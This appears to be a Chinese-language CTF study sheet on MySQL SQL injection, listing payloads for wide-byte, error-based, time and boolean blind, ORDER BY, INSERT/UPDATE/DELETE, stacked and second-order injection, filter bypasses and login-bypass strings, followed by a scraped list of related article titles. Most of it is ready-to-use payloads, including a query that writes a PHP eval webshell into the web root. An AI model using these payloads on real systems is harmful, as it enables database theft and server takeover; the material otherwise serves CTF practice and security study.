一、宽字节注入

原理:GBK编码、URL转码

利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)

例如:' -> ' -> %5C%27

%df' -> %df' -> %df%5C%27

sql字符集特性

MYSQL 中 utf8_unicode_ci 和 utf8_general_ci 两种编码格式, utf8_general_ci不区分大小写, Ä = A, Ö = O, Ü = U 这三种条件都成立, 对于utf8_general_ci下面的等式成立:ß = s ,但是,对于utf8_unicode_ci下面等式才成立:ß = ss 。

可以看到大写O和Ö是相等的

SQL注入常用URL编码

空格 %20

' %27

# %23

\ %5C

php-addslashes函数:在特殊字符前加上反斜线\来转义

如何从addslashes函数逃逸?

\前面再加一个\,变成\\',这样\就被转义了

把\弄没

表名或列名可以使用16进制转码来实现

例如:ctf -> 0x637466

sqlmap中加参数--hex

二、基于约束的注入

原理:超过数据类型长度的部分不会被插进表里,如果不将字段作为唯一字段,可以插入重复的数据

例如:注册admin + 很多空格 + 1,成功以admin身份登录

三、报错注入

公式

and (select 1 from (select count(*),concat(user(),floor(rand(0)*2)x from information_schema.tables group by x)a));

or updatexml(1,concat(0x7e,(version())),0)//最大长度是32位

and extractvalue(1,concat(0x7e,(select database())))

and exp(~(select * from (select user())a));

and updatexml(1,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,41),1)

四、时间盲注

原理:能够截取字符串,同时触发延时即可

SELECT * FROM table WHERE id = 1 AND (if(SUBSTR(database(),1,1)=' ',sleep(5),null))

SELECT * FROM table WHERE id = 1 AND (if(acsii(substr(database(),1,1))=100,sleep(5),null))

相关函数

延时方法

SLEEP(duration)

BENCHMARK(count,expr)

例如select benchmark(10000000,sha(1))

笛卡尔积

例如SELECT count(*) FROM information_schema.columns A,information_schema.columns B, information_schema.tables C;

ps:COUNT(*)计算行数

GET_LOCK(str,timeout)

需要开启两个会话才能生效

RLIKE

通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短

例如select concat(rpad(1,9999999,'a'),rpad(1,9999999,'a'),···,rpad(1,9999999,'a')) RLIKE '(a.*)+(a.*)+···+(a.*)+b

条件

IF(expr1,expr2,expr3)

CASE WHEN [condition] when [result]

字符串截取

SUBSTR(SUBSTRING)

substr同substring,有多种参数选择

SUBSTRING(str,pos), SUBSTRING(str FROM pos), SUBSTRING(str,pos,len), SUBSTRING(str FROM pos FOR len)

MID(str,pos,len)同SUBSTRING(str,pos,len)

SUBSTRING_INDEX(str,delim,count)

LEFT(str,len)

字符串转换

ASCII()

ORD()

CHR()

五、bool盲注

原理:利用回显的消息不同,判断输入表达式是否正确

常用函数

基本同时间盲注

六、order by的注入

使用ORDER BY子句对查询结果按一列或多列排序。

ORDER BY子句的语法格式为:

ORDER BY {column_name [ASC|DESC]}[,...n]

ORDER BY语句默认按照升序对记录进行排序

在不知道列名的情况下可以通过列的序号来指代相应的列。但是这里无法做运算

当ORDER BY注入能通过返回错误信息是,也可以考虑使用报错注入

根据不同的列排序,会返回不同的结果,也可以使用类似于bool型盲注的形式来注入

ORDER BY后面字段可以通过位运算符(|&^~)来使代码被执行,例如

select * from xxx order by id|(sleep(5))

ORDER BY在括号中时后面可以跟UNION,例如

(select 1,2,3 order by 3 asc)union(select 2,3,4)

六、INSERT、UPDATE、DELETE相关的注入

INSERT

例如:insert into users (id,username,password) values (2,'attacker' or updatexml(1,concat(0x7e,database()),0), 'password')

insert还有中特殊用法insert ... on duplicate key update如果存在冲突的unique键,则更新,可以用来修改例如admin的密码

UPDATE

例如:update users set password='password' or updatexml(1,concat(0x7e,database()),0) where id=2

delete

例如:delete from users where id=2 or updatexml(1,concat(0x7e,database()),0)

七、堆叠注入

原理:利用;结束语句并插入自己的sql语句

适用:

Mysql、SqlServer、Postgresql(Oracle不行)

只有当调用数据库函数支持执行多条sql语句时才能够使用,例如mysqli_multi_query()函数就支持多条sql语句同时执行

PDO默认支持多语句查询,如果php版本小于5.5.21或者创建PDO实例时未设置PDO::MYSQL_ATTR_MULTI_STATEMENTS为false时可能会造成堆叠注入

例子

利用存储过程绕过select过滤http://web16.buuoj.cn/? inject=1%27;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare%20execsql%20from%20@a;execute%20execsql;#

使用了大小写绕过strstr($inject, "set") && strstr($inject, "prepare")

去掉URL编码后

?inject=1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

八、二次注入

用这样的payload将数据带出来

0'^(select hex(hex(substr((select * from flag) from {i} for 1))))^'0

两次hex是为了将第一次hex中的字母变成数字,substr是因为如果hex的值太大,sql会变成科学计数法,丢失精度

九、文件读写

select @@secure_file_priv

secure_file_priv

1、限制mysqld 不允许导入 | 导出

--secure_file_prive=null

2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下

--secure_file_priv=/tmp/

3、不对mysqld 的导入 | 导出做限制

--secure_file_priv=

load_file读文件

写文件

select 0x3C3F706870206576616C28245F524551554553545B2761275D293B203F3E into outfile '/var/www/html/1.php'

# <?php eval($_REQUEST['a']); ?>

十、常用绕过

空格

/**/

=

like

regexp

!(<>)

'

转义符\

16进制(例如:ctf -> 0x637466)

union注入使用join,例如3' union select * from (select 1) a join (select 2 ) b %23

substr from for

if->case when

十一、万能密码

select * from admin where username = '' and password = ''

username

password

admin'#

'+'

'+'

aaa'='

aaa'='

1\

'^'1

'%1#

'=0#

mysql注入ctf_CTF SQL注入相关推荐

  1. mysql注入攻击实_三十三、MySQL基础系列笔记之MySQL安全问题与SQL注入攻击

    SQL注入攻击大多数与程序有关系,程序不严谨是导致SQL注入攻击成功的一个原因.安全问题不容忽视,平常的开发中应关注安全问题.下面简单记录PHP中的SQL攻击问题. 什么是SQL注入攻击 SQL注入( ...

  2. 注入漏洞-sql注入

     注入漏洞 注入漏洞 1 SQL注入 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行指定的SQL语句.具体来说,它是利用现有应用程序, ...

  3. 【SQL注入】 sql注入中的union和limt关键字的使用解析

    [SQL注入] sql注入中的union和limt关键字的使用解析 我将用测试靶场做演示,拿下网站数据库来向你展示sql注入全过程和思路 一.首先要找到注入点 [http://rhiq8003.ia. ...

  4. 【SQL注入】SQL注入基本流程

    [SQL注入]SQL注入基本流程 摘要 一次简单的SQL注入靶场实践,两个实验环境,分别为有显示位和没有显示位,采用联合注入和布尔型注入的方法,分别通过手注和sqlmap工具的方式进行注入,最终获得数 ...

  5. pdo mysql防注入_Php中用PDO查询Mysql来避免SQL注入风险的方法

    当我们使用传统的 mysql_connect .mysql_query方法来连接查询数据库时,如果过滤不严,就有SQL注入风险,导致网站被攻击,失去控制.虽然可以用mysql_real_escape_ ...

  6. Mysql的sql注入_MySQL SQL注入

    如果通过网页需要用户输入一些数据信息,并将其插入到MySQL数据库,这是一个引入SQL注入安全问题的机会.这一节将学习如何防止这种情况的发生,并帮助保护脚本和MySQL语句. 通常注入是在当要求用户输 ...

  7. mysql qadir_MySQL 及 SQL 注入

    MySQL 及 SQL 注入 如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL注入安全的问题. 本章节将为大家介绍如何防止SQL注入,并通过脚本来过滤SQL中注入 ...

  8. python mysql倒序_day40:MySQL:python操作mysql:pymysql模块SQL注入攻击

    目录 part1:用python连接mysql 1.用python连接mysql的基本语法 创建连接conn→创建游标对象cursor→执行sql语句execute→获取数据fetchone→释放游标 ...

  9. mysql order by sql注入_mybatis中#{}和${}的区别及order by的sql注入问题

    前言略,直奔主题.. #{}相当于jdbc中的preparedstatement ${}是输出变量的值 简单的说就是#{}传过来的参数带单引号'',而${}传过来的参数不带单引号. 你可能说不明所以, ...

最新文章

  1. 使用SAP Spartacus快速创建一个电商店铺网站
  2. OpenShift helm的安装
  3. 《零基础看得懂的C语言入门教程 》——(十)C语言的指针原来是这样
  4. jQuery UI应用--滑块Slider
  5. linux如何看分配固定共享内存段,Linux共享内存的查看和删除
  6. JDK1.5新特性介绍
  7. 记录在Ubuntu 18.04系统中安装Apache, MySQL和PHP环境
  8. 依赖注入(DI)入门
  9. axure文本框添加水印_Axure教程:限制输入框输入字数
  10. 安全运维基础知识梳理
  11. 学软件测试必须要会Java吗_软件测试需要学什么?
  12. python随机生成三位数字_python3 随机生成数字
  13. OSSIM开源安全信息管理系统(六)
  14. 短信验证码、身份证实名、手机三要素实名三步走,手把手教你API接口调用,示例可使用
  15. 赵神牛的游戏(过程分析与结果分析)
  16. 斐波那契数列(C++)
  17. 即速应用——不会代码也能做App
  18. Berkeley DB介绍
  19. 不用第三方之C#实现大容量报表系统(转)
  20. ROS入门:运行小海龟

热门文章

  1. ASP.NET Core 入门教程 2、使用ASP.NET Core MVC框架构建Web应用
  2. 编写wordcount程序
  3. win8改win7笔记
  4. [转]Loadrunner Error code 10053 Tomcat 连接器(connector)优化
  5. Android下intent的setdata、settype和setdataandtype函数
  6. javax.validation.ParameterNameProvider
  7. linux swap 内存交换分区调整
  8. linux 路由跟踪表满错误 nf_conntrack: table full, dropping packet 原理解决方法
  9. linux 反弹shell(一)文件描述符与重定向
  10. Linux安装配置php7+nginx